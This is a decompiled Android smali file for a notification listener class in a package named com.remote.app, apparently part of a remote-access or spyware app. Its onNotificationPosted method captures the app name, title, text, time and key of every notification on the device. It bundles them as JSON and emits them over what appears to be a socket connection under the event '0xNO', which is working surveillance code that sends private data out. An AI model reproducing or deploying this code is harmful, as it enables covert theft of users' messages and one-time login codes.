152 lines
4.3 KiB
Smali
152 lines
4.3 KiB
Smali
.class public Lcom/remote/app/NotificationListener;
|
|
.super Landroid/service/notification/NotificationListenerService;
|
|
.source ""
|
|
|
|
|
|
# direct methods
|
|
.method public constructor <init>()V
|
|
.locals 0
|
|
|
|
invoke-direct {p0}, Landroid/service/notification/NotificationListenerService;-><init>()V
|
|
|
|
return-void
|
|
.end method
|
|
|
|
|
|
# virtual methods
|
|
.method public onBind(Landroid/content/Intent;)Landroid/os/IBinder;
|
|
.locals 0
|
|
|
|
invoke-super {p0, p1}, Landroid/service/notification/NotificationListenerService;->onBind(Landroid/content/Intent;)Landroid/os/IBinder;
|
|
|
|
move-result-object p1
|
|
|
|
return-object p1
|
|
.end method
|
|
|
|
.method public onNotificationPosted(Landroid/service/notification/StatusBarNotification;)V
|
|
.locals 8
|
|
|
|
:try_start_0
|
|
invoke-virtual {p1}, Landroid/service/notification/StatusBarNotification;->getPackageName()Ljava/lang/String;
|
|
|
|
move-result-object v0
|
|
|
|
invoke-virtual {p1}, Landroid/service/notification/StatusBarNotification;->getNotification()Landroid/app/Notification;
|
|
|
|
move-result-object v1
|
|
|
|
iget-object v1, v1, Landroid/app/Notification;->extras:Landroid/os/Bundle;
|
|
|
|
const-string v2, "android.title"
|
|
|
|
invoke-virtual {v1, v2}, Landroid/os/Bundle;->getString(Ljava/lang/String;)Ljava/lang/String;
|
|
|
|
move-result-object v1
|
|
|
|
invoke-virtual {p1}, Landroid/service/notification/StatusBarNotification;->getNotification()Landroid/app/Notification;
|
|
|
|
move-result-object v2
|
|
|
|
iget-object v2, v2, Landroid/app/Notification;->extras:Landroid/os/Bundle;
|
|
|
|
const-string v3, "android.text"
|
|
|
|
invoke-virtual {v2, v3}, Landroid/os/Bundle;->getCharSequence(Ljava/lang/String;)Ljava/lang/CharSequence;
|
|
|
|
move-result-object v2
|
|
:try_end_0
|
|
.catch Lorg/json/JSONException; {:try_start_0 .. :try_end_0} :catch_0
|
|
|
|
const-string v3, ""
|
|
|
|
if-eqz v2, :cond_0
|
|
|
|
:try_start_1
|
|
invoke-interface {v2}, Ljava/lang/CharSequence;->toString()Ljava/lang/String;
|
|
|
|
move-result-object v2
|
|
|
|
goto :goto_0
|
|
|
|
:cond_0
|
|
move-object v2, v3
|
|
|
|
:goto_0
|
|
invoke-virtual {p1}, Landroid/service/notification/StatusBarNotification;->getPostTime()J
|
|
|
|
move-result-wide v4
|
|
|
|
invoke-virtual {p1}, Landroid/service/notification/StatusBarNotification;->getKey()Ljava/lang/String;
|
|
|
|
move-result-object p1
|
|
|
|
new-instance v6, Lorg/json/JSONObject;
|
|
|
|
invoke-direct {v6}, Lorg/json/JSONObject;-><init>()V
|
|
|
|
const-string v7, "appName"
|
|
|
|
invoke-virtual {v6, v7, v0}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
|
|
|
|
const-string v0, "title"
|
|
|
|
invoke-virtual {v6, v0, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
|
|
|
|
const-string v0, "content"
|
|
|
|
new-instance v1, Ljava/lang/StringBuilder;
|
|
|
|
invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
|
|
|
|
invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
|
|
|
|
invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
|
|
|
|
invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
|
|
|
|
move-result-object v1
|
|
|
|
invoke-virtual {v6, v0, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
|
|
|
|
const-string v0, "postTime"
|
|
|
|
invoke-virtual {v6, v0, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;J)Lorg/json/JSONObject;
|
|
|
|
const-string v0, "key"
|
|
|
|
invoke-virtual {v6, v0, p1}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
|
|
|
|
invoke-static {}, Lcom/remote/app/h;->a()Lcom/remote/app/h;
|
|
|
|
move-result-object p1
|
|
|
|
invoke-virtual {p1}, Lcom/remote/app/h;->b()Lb/a/b/I;
|
|
|
|
move-result-object p1
|
|
|
|
const-string v0, "0xNO"
|
|
|
|
const/4 v1, 0x1
|
|
|
|
new-array v1, v1, [Ljava/lang/Object;
|
|
|
|
const/4 v2, 0x0
|
|
|
|
aput-object v6, v1, v2
|
|
|
|
invoke-virtual {p1, v0, v1}, Lb/a/b/I;->a(Ljava/lang/String;[Ljava/lang/Object;)Lb/a/c/a;
|
|
:try_end_1
|
|
.catch Lorg/json/JSONException; {:try_start_1 .. :try_end_1} :catch_0
|
|
|
|
goto :goto_1
|
|
|
|
:catch_0
|
|
move-exception p1
|
|
|
|
invoke-virtual {p1}, Lorg/json/JSONException;->printStackTrace()V
|
|
|
|
:goto_1
|
|
return-void
|
|
.end method
|